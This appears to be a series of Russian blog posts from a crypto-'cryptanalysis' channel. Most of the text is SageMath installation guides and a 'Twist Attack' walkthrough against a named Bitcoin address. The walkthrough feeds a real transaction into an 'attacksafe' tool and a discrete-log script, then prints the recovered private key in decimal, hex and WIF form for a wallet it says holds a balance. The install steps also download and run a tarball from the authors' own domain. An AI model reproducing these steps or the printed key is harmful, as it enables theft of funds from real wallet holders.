В целом, хотя Биткоин имеет много преимуществ, с ним также связано несколько рисков. Важно знать об этих рисках при инвестировании в Биткоин или его использовании. OpenAI объявила, что новая функция плагина для ChatGPT все еще находится на ранней стадии альфа-тестирования, и первоначально к ней будет иметь доступ только ограниченное число пользователей. Согласно заявлению фирмы, заинтересованные пользователи могут присоединиться к списку ожидания, чтобы получить доступ к функции ChatGPT Plus . В дополнение к веб-плагину OpenAI также представила интерпретатор кода для ChatGPT. Этот интерпретатор предоставляет чат-боту интерпретатор Python в безопасной среде с брандмауэром и дисковым пространством. Согласно OpenAI, пользователи могут загружать файлы в ChatGPT и загружать результаты, что делает его идеальным для таких задач, как анализ и визуализация данных, преобразование файлов между форматами и решение математических задач.

Исходный код

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/WZZv58aJ95E

Источник: https://cryptodeep.ru/chatgpt-bitcoin

ChatGPT как искусственный интеллект дает нам большие возможности в безопасности и в защите криптовалюты Биткоин от различных атак NFT, Криптовалюта, Биткоины, Инновации, ChatGPT, Openai, Искусственный интеллект, Илон Маск, Технологии, Видео, YouTube, Длиннопост
Показать полностью 12

Установим SageMath в облачную среду Google Colab

В этой статье мы сделаем новую установку SageMath в Google Colab. Ранее мы опубликовали статью: “Install SageMath for cryptanalysis on Fedora 64bit(10GB) Cloud Virtual Server” , но для продолжение криптоанализа блокчейна Биткоин многие наши читатели предпочитают использовать Debian и Ubuntu в отличие от Fedora. Как нам известно Google Colab обновился до версии "Ubuntu 20.04.5 LTS".

Мы это можем проверить запустив команду:

!cat /etc/lsb-release

Установим SageMath в облачную среду Google Colab Криптовалюта, Биткоины, NFT, Финансы, Валюта, Видео, YouTube, Длиннопост

Поэтому версии "Ubuntu 20.04.5 LTS", нам позволяет установит только SageMath version 9.0, Release Date: 2020-01-01

Используя стандартную команду установки:

!sudo apt-get install -y sagemath-common

Установим SageMath в облачную среду Google Colab Криптовалюта, Биткоины, NFT, Финансы, Валюта, Видео, YouTube, Длиннопост

К сожалению эта версия не работает должным образом.

Для полного проведения криптоанализа мы установим в Google Colab совершенно новую версию SageMath version 9.3

Файл: Install_SageMath_in_Google_Colab.ipynb мы опубликовали в GitHub

Перейдем на официальный сайт: https://colab.research.google.com

Выберем опцию “Загрузить блокнот”

Установим SageMath в облачную среду Google Colab Криптовалюта, Биткоины, NFT, Финансы, Валюта, Видео, YouTube, Длиннопост

Загрузим файл: Install_SageMath_in_Google_Colab.ipynb

Установим SageMath в облачную среду Google Colab Криптовалюта, Биткоины, NFT, Финансы, Валюта, Видео, YouTube, Длиннопост

Теперь через утилиту wget скачаем tar-file: sage-9.3-Ubuntu_20.04-x86_64.tar.bz2

!wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.b... !tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2

Установим SageMath в облачную среду Google Colab Криптовалюта, Биткоины, NFT, Финансы, Валюта, Видео, YouTube, Длиннопост

Перейдем по каталогу:

cd SageMath/

Установим SageMath в облачную среду Google Colab Криптовалюта, Биткоины, NFT, Финансы, Валюта, Видео, YouTube, Длиннопост

Откроем панель и перейдем в папку: SageMath

Установим SageMath в облачную среду Google Colab Криптовалюта, Биткоины, NFT, Финансы, Валюта, Видео, YouTube, Длиннопост

Убедимся есть ли Python-script: relocate-once.py

Установим SageMath в облачную среду Google Colab Криптовалюта, Биткоины, NFT, Финансы, Валюта, Видео, YouTube, Длиннопост

Запустим Python-script: relocate-once.py по команде:

!python3 relocate-once.py

Установим SageMath в облачную среду Google Colab Криптовалюта, Биткоины, NFT, Финансы, Валюта, Видео, YouTube, Длиннопост

Все готово!

Теперь запустим SageMath по команде:

!./sage -sh

Установим SageMath в облачную среду Google Colab Криптовалюта, Биткоины, NFT, Финансы, Валюта, Видео, YouTube, Длиннопост

Запустим проверку версии по команде:

sage -v

Установим SageMath в облачную среду Google Colab Криптовалюта, Биткоины, NFT, Финансы, Валюта, Видео, YouTube, Длиннопост

Все верно!

Мы получили новую версию: SageMath version 9.3, Release Date: 2021-05-09

Реализуем алгоритм Twist Attack скачаем  Python-script: discrete.py

wget https://raw.githubusercontent.com/demining/CryptoDeepTools/b...

Установим SageMath в облачную среду Google Colab Криптовалюта, Биткоины, NFT, Финансы, Валюта, Видео, YouTube, Длиннопост

Чтобы решить дискретное логарифмирование (Pollard's rho algorithm for logarithms) запустим Python-script: discrete.py

Теперь чтобы получить приватный ключ нам осталось запустить команду:

python3 discrete.py

Установим SageMath в облачную среду Google Colab Криптовалюта, Биткоины, NFT, Финансы, Валюта, Видео, YouTube, Длиннопост

Sage Math 9.3 выполним задачу дискретного логарифмирование (Pollard's rho algorithm for logarithms)


Теперь все работает должный образом!

Мы получили приватный ключ к Биткоин Кошельку в десятичном формате, далее для криптоанализа нам нужно следовать инструкциям статьи посвященной Twist Attack

Исходный код

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/DBu0UnVe0ig

Источник: https://cryptodeep.ru/install-sagemath-in-google-colab

Установим SageMath в облачную среду Google Colab Криптовалюта, Биткоины, NFT, Финансы, Валюта, Видео, YouTube, Длиннопост

Криптоанализ

Показать полностью 14

Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB)

В этой статье мы подробно на слайдах покажем как установить «SageMath» на облачный виртуальный сервер Fedora 30 64bit(10GB) для примера мы будем использовать сервера «DIGITAL RUBLE TECH». Ранее мы использовали для установки «SageMath» облачный сервис Google Colab, но к сожалению из-за последних обновлении не все компоненты для проведение криптоанализа блокчейна Биткоина работают должным образом.

Регистрация:

Для начала нам нужно создать личный кабинет, пройдем регистрацию на сайте: https://digitalruble.tech/cloud

Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB) Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Видео, YouTube, Длиннопост

Выбираем опцию: Individual

Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB) Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Видео, YouTube, Длиннопост

Запустим консоль

Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB) Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Видео, YouTube, Длиннопост

Переходим по опции: Elastic Cloud Server

Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB) Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Видео, YouTube, Длиннопост

Создадим Elastic Cloud Server

Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB) Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Видео, YouTube, Длиннопост

Выбираем нужные нам параметры:

Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB) Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Видео, YouTube, Длиннопост

Указываем  Fedora 30 64bit(10GB)

Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB) Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Видео, YouTube, Длиннопост
Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB) Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Видео, YouTube, Длиннопост

Выбираем необходимый для сети VPC

Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB) Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Видео, YouTube, Длиннопост

Устанавливаем и запоминаем свой собственный пароль

Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB) Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Видео, YouTube, Длиннопост

Сохраняем конфигурацию

Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB) Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Видео, YouTube, Длиннопост

Облачный виртуальный сервер Fedora 30 64bit(10GB) успешно создан!
Для входа в терминал нажимаем: Remote Login

Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB) Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Видео, YouTube, Длиннопост

Для нас открылся терминал с установкой облачного виртуального сервера Fedora 30 64bit(10GB)

Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB) Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Видео, YouTube, Длиннопост
Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB) Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Видео, YouTube, Длиннопост
Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB) Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Видео, YouTube, Длиннопост

Проверим установку, запустим команду:

cat /etc/redhat-release

Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB) Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Видео, YouTube, Длиннопост

Обновим наш сервер, запустим команду:

dnf check-update

Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB) Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Видео, YouTube, Длиннопост

Установим Python 3, запустим команду:

dnf install python3

Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB) Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Видео, YouTube, Длиннопост

Установим SageMath, запустим команду:

dnf install sagemath

Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB) Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Видео, YouTube, Длиннопост
Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB) Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Видео, YouTube, Длиннопост

Проверим установку SageMath

sage -v

Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB) Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Видео, YouTube, Длиннопост

Реализуем алгоритм Twist Attack с помощью нашей репозитории 18TwistAttack

git clone https://github.com/demining/CryptoDeepTools.git cd CryptoDeepTools/18TwistAttack/ ls

Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB) Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Видео, YouTube, Длиннопост

Чтобы решить дискретное логарифмирование (Pollard's rho algorithm for logarithms) запустим Python-script: discrete.py

Команда запуска:

sage -python3 discrete.py

Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB) Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Видео, YouTube, Длиннопост

Sage Math выполнил задачу дискретного логарифмирование (Pollard's rho algorithm for logarithms)

Теперь все работает должный образом!

Мы получили приватный ключ к Биткоин Кошельку в десятичном формате, далее для криптоанализа нам нужно следовать инструкциям статьи посвященной Twist Attack

Исходный код

DIGITAL RUBLE TECH

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/xHnTDRgZwvE

Источник: https://cryptodeep.ru/install-sagemath-on-fedora

Установим SageMath для криптоанализа на облачный виртуальный сервер Fedora 64bit(10GB) Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Видео, YouTube, Длиннопост
Показать полностью 24
0

Повышение общей безопасности экосистемы от атак на смарт-контракты

GitHub

Telegram: https://t.me/cryptodeeptech

Video: https://youtu.be/HVh_cbsgSMg

Source: https://cryptodeep.ru/improving-overall-security

Показать полностью

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку

В этой статье мы реализуем Twist Attack на примере №2 согласно первой теоретической части статьи мы убедились что с помощью определенных точек на эллиптической кривой secp256k1 мы можем получить частичные значение приватного ключа и в течение 5-15 минут восстановить Биткоин Кошелек используя “Sagemath pollard rho function: (discrete_log_rho)” и “Chinese Remainder Theorem”.

Продолжим ряд операций ECC, так как эти определенные точки являются злонамеренно выбранными точками на эллиптической кривой secp256k1

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Криптовалюта, Биткоины, Валюта, NFT, Финансы, Доллары, Видео, YouTube, Длиннопост

https://github.com/christianlundkvist/blog/blob/master/2020_05_26_secp256k1_twist_attacks/secp256k1_twist_attacks.md

Согласно твиту Paulo Barreto: https://twitter.com/pbarreto/status/825703772382908416?s=21

The cofactor is 3^2*13^2*3319*22639

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Криптовалюта, Биткоины, Валюта, NFT, Финансы, Доллары, Видео, YouTube, Длиннопост

E1: 20412485227

E2: 3319, 22639

E3: 109903, 12977017, 383229727

E4: 18979

E6: 10903, 5290657, 10833080827, 22921299619447

prod = 20412485227 * 3319 * 22639 *109903 * 12977017 * 383229727 * 18979 * 10903 * 5290657 * 10833080827 * 22921299619447 38597363079105398474523661669562635951234135017402074565436668291433169282997 = 3 * 13^2 * 3319 * 22639 * 1013176677300131846900870239606035638738100997248092069256697437031 HEX:0x55555555555555555555555555555555C1C5B65DC59275416AB9E07B0FEDE7B5

При запуске Twist Attack «приватный ключ» может быть получен при определенном выборе «публичного ключа» (выбранная точка эллиптической кривой secp256k1) , то есть значение в транзакции раскрывается.
После чего раскроется и информация о приватном ключе, но для этого нужно выполнить несколько операций ECC.

E1: y^2 = x^3 + 1

E2: y^2 = x^3 + 2

E3: y^2 = x^3 + 3

E4: y^2 = x^3 + 4

E6: y^2 = x^3 + 6

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Криптовалюта, Биткоины, Валюта, NFT, Финансы, Доллары, Видео, YouTube, Длиннопост

https://attacksafe.ru/twist-attack-on-bitcoin

y² = x³ + ax + b. In the Koblitz curve,

y² = x³ + 0x + 7. In the Koblitz curve,

0 = x³ + 0 + 7 b '= -x ^ 3 - ax.

Все точки (x, 0) попадают на недопустимые кривые с b '= -x ^ 3 - ax

Перейдем к экспериментальной части:

(Рассмотрим Биткоин Адрес)

1L7vTvRwmWENJm4g15rAxAtGcXjrFsWcBx

(Теперь рассмотрим критический уязвимые транзакции)

https://btc1.trezor.io/tx/60918fd82894eb94c71a9c10057ffe9d8a82074426f596dcbc759d676c886ae9

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Криптовалюта, Биткоины, Валюта, NFT, Финансы, Доллары, Видео, YouTube, Длиннопост

Откроем [TerminalGoogleColab].

Реализуем алгоритм Twist Attack с помощью нашей репозитории 18TwistAttack

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/18TwistAttack/

ls

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Криптовалюта, Биткоины, Валюта, NFT, Финансы, Доллары, Видео, YouTube, Длиннопост

Установим все нужные нам пакеты

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Криптовалюта, Биткоины, Валюта, NFT, Финансы, Доллары, Видео, YouTube, Длиннопост

requirements.txt

sudo apt install python2-minimal

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py

sudo python2 get-pip.py

pip2 install -r requirements.txt

,

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Криптовалюта, Биткоины, Валюта, NFT, Финансы, Доллары, Видео, YouTube, Длиннопост

Подготовим RawTX для атаки

1L7vTvRwmWENJm4g15rAxAtGcXjrFsWcBx

https://btc1.trezor.io/tx/60918fd82894eb94c71a9c10057ffe9d8a82074426f596dcbc759d676c886ae9

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Криптовалюта, Биткоины, Валюта, NFT, Финансы, Доллары, Видео, YouTube, Длиннопост

Сохраним в файле: RawTX.txt

Чтобы реализовать атаку мы воспользуемся программным обеспечение “ATTACKSAFE SOFTWARE”

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Криптовалюта, Биткоины, Валюта, NFT, Финансы, Доллары, Видео, YouTube, Длиннопост

www.attacksafe.ru/software

Права доступа:

chmod +x attacksafe

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Криптовалюта, Биткоины, Валюта, NFT, Финансы, Доллары, Видео, YouTube, Длиннопост

Применение:

./attacksafe -help

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Криптовалюта, Биткоины, Валюта, NFT, Финансы, Доллары, Видео, YouTube, Длиннопост

./attacksafe -version

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Криптовалюта, Биткоины, Валюта, NFT, Финансы, Доллары, Видео, YouTube, Длиннопост

Version 5.3.2. [ATTACKSAFE SOFTWARE, © 2023]

"ATTACKSAFE SOFTWARE" включает в себя все популярные атаки на Биткоин.

Запустим список всех атак:

./attacksafe -list

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Криптовалюта, Биткоины, Валюта, NFT, Финансы, Доллары, Видео, YouTube, Длиннопост

Выберем -tool: twist_attack

Чтобы получить определенные точки secp256k1 из уязвимой транзакции подписи ECDSA, мы добавили данные RawTX в текстовый документ и сохранил как файл RawTX.txt

01000000013edba424d1b614ec2182c8ac6856215afb803bcb9748c1888eecd35fffad67730e0000006b483045022100bbabd1cb2097e0053b3da453b15fd195a2bc1e8dbe00cfd60aee95b404d2abfa02201af66956a7ea158d32b0a56a46a83fe27f9e544387c8d0ce13cd2a54dba9a747012102912cd095d2c20e4fbdb20a8710971dd040a067dba45899b7156e9347efc20312ffffffff01a8020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000

Запустим -tool twist_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”

./attacksafe -tool twist_attack -open RawTX.txt -save SecretPoints.txt

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Криптовалюта, Биткоины, Валюта, NFT, Финансы, Доллары, Видео, YouTube, Длиннопост
Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Криптовалюта, Биткоины, Валюта, NFT, Финансы, Доллары, Видео, YouTube, Длиннопост

Мы запустили данную атаку из -tool twist_attack и результат сохранился в файл SecretPoints.txt

Теперь чтобы посмотреть успешный результат откроем файл SecretPoints.txt

cat SecretPoints.txt

Результат:

Elliptic Curve Secret Points: Q11 = E1([97072073026593516785986136148833105674452542501015145216961054272876839453879, 107567253371779495307521678088935176637661904239924771700494716430774957820966]) Q21 = E2([3350296768277877304391506547616361976369787138559008027651808311357100316617, 72988900267653266243491077449097157591503403928437340215197819240911749073070]) Q22 = E2([112520741232779465095566100761481226712887911875949213866586208031790667764851, 67821409607391406974451792678186486803604797717916857589728259410989018828088]) Q31 = E3([19221018445349571002768878066568778104356611670224206148889744255553888839368, 51911948202474460182474729837629287426170495064721963100930541018009108314113]) Q32 = E3([41890177480111283990531243647299980511217563319657594412233172058507418746086, 50666391602993122126388747247624601309616370399604218474818855509093287774278]) Q33 = E3([42268931450354181048145324837791859216268206183479474730830244807012122440868, 106203099208900270966718494579849900683595613889332211248945862977592813439569]) Q41 = E4([54499795016623216633513895020095562919782606390420118477101689814601700532150, 105485166437855743326869509276555834707863666622073705127774354124823038313021]) Q61 = E6([62124953527279820718051689027867102514830975577976669973362563656149003510557, 100989088237897158673340534473118617341737987866593944452056172771683426720481]) Q62 = E6([86907281605062616221251901813989896824116536666883529138776205878798949076805, 19984923138198085750026187300638434023309806045826685297245727280111269894421]) Q63 = E6([66063410534588649374156935204077330523666149907425414249132071271750455781006, 25315648259518110320341360730017389015499807179224601293064633820188666088920]) Q64 = E6([109180854384525934106792159822888807664445139819154775748567618515646342974321, 102666617356998521143219293179463920284010473849613907153669896702897252016986]) RawTX = 01000000013edba424d1b614ec2182c8ac6856215afb803bcb9748c1888eecd35fffad67730e0000006b483045022100bbabd1cb2097e0053b3da453b15fd195a2bc1e8dbe00cfd60aee95b404d2abfa02201af66956a7ea158d32b0a56a46a83fe27f9e544387c8d0ce13cd2a54dba9a747012102912cd095d2c20e4fbdb20a8710971dd040a067dba45899b7156e9347efc20312ffffffff01a8020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000

Теперь добавим полученные точки secp256k1

Для этого откроем Python-script: discrete.py

Для того чтобы запустить Python-script: discrete.py установим SageMath

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Криптовалюта, Биткоины, Валюта, NFT, Финансы, Доллары, Видео, YouTube, Длиннопост

Команда установки:

sudo apt-get update

sudo apt-get install -y python3-gmpy2

yes '' | sudo env DEBIAN_FRONTEND=noninteractive apt-get -y -o DPkg::options::="--force-confdef" -o DPkg::options::="--force-confold" install sagemath

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Криптовалюта, Биткоины, Валюта, NFT, Финансы, Доллары, Видео, YouTube, Длиннопост

Проверим установку SageMath по команде: sage -v

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Криптовалюта, Биткоины, Валюта, NFT, Финансы, Доллары, Видео, YouTube, Длиннопост

SageMath version 9.0

Чтобы решить дискретное логарифмирование (Pollard's rho algorithm for logarithms) запустим Python-script: discrete.py

Команда запуска:

sage -python3 discrete.py

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Криптовалюта, Биткоины, Валюта, NFT, Финансы, Доллары, Видео, YouTube, Длиннопост

Результат:

Discrete_log_rho: 14996641256 1546 19575 31735 9071789 145517682 11552 7151 3370711 10797447604 10120546250224 PRIVATE KEY: 3160389728152122137789469305939632411648887242506549174582525524562820572318

privkey = crt([x11, x21, x22, x31, x32, x33, x41, x61, x62, x63, x64], [ord11, ord21, ord22, ord31, ord32, ord33, ord41, ord61, ord62, ord63, ord64])

Мы решили дискретное логарифмирование и с помощью “Китайской теоремы об остатках (Chinese remainder theorem)” получили приватный ключ в десятичном формате.

Конвертируем приватный ключ в HEX формат

Десятичный формат приватного ключа был сохранен в файл: privkey.txt

python3 privkey2hex.py

cat privkey2hex.txt

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Криптовалюта, Биткоины, Валюта, NFT, Финансы, Доллары, Видео, YouTube, Длиннопост

Откроем полученный файл: privkey2hex.txt

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Криптовалюта, Биткоины, Валюта, NFT, Финансы, Доллары, Видео, YouTube, Длиннопост

Приватный ключ в HEX формате:

PrivKey = 06fcb79a2eabffa519509e43b7de95bc2df15ca48fe6be29f9160bcd6ac1a49e

Откроем bitaddress и проверим:

ADDR: 1L7vTvRwmWENJm4g15rAxAtGcXjrFsWcBx

WIF: KwTHx3AhV8qiN6qyfG1D85TGEeUBiaMUjnQ11eVLP5NAfiVNLLmS

HEX: 06FCB79A2EABFFA519509E43B7DE95BC2DF15CA48FE6BE29F9160BCD6AC1A49E

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Криптовалюта, Биткоины, Валюта, NFT, Финансы, Доллары, Видео, YouTube, Длиннопост

https://live.blockcypher.com/btc/address/1L7vTvRwmWENJm4g15rAxAtGcXjrFsWcBx/

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Криптовалюта, Биткоины, Валюта, NFT, Финансы, Доллары, Видео, YouTube, Длиннопост

BALANCE: $ 902.52

Исходный код

ATTACKSAFE SOFTWARE

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/pOviZOYItv4

Источник: https://cryptodeep.ru/twist-attack-2

Twist Attack пример №2 продолжим ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку Криптовалюта, Биткоины, Валюта, NFT, Финансы, Доллары, Видео, YouTube, Длиннопост

Криптоанализ

Показать полностью 24
Отличная работа, все прочитано!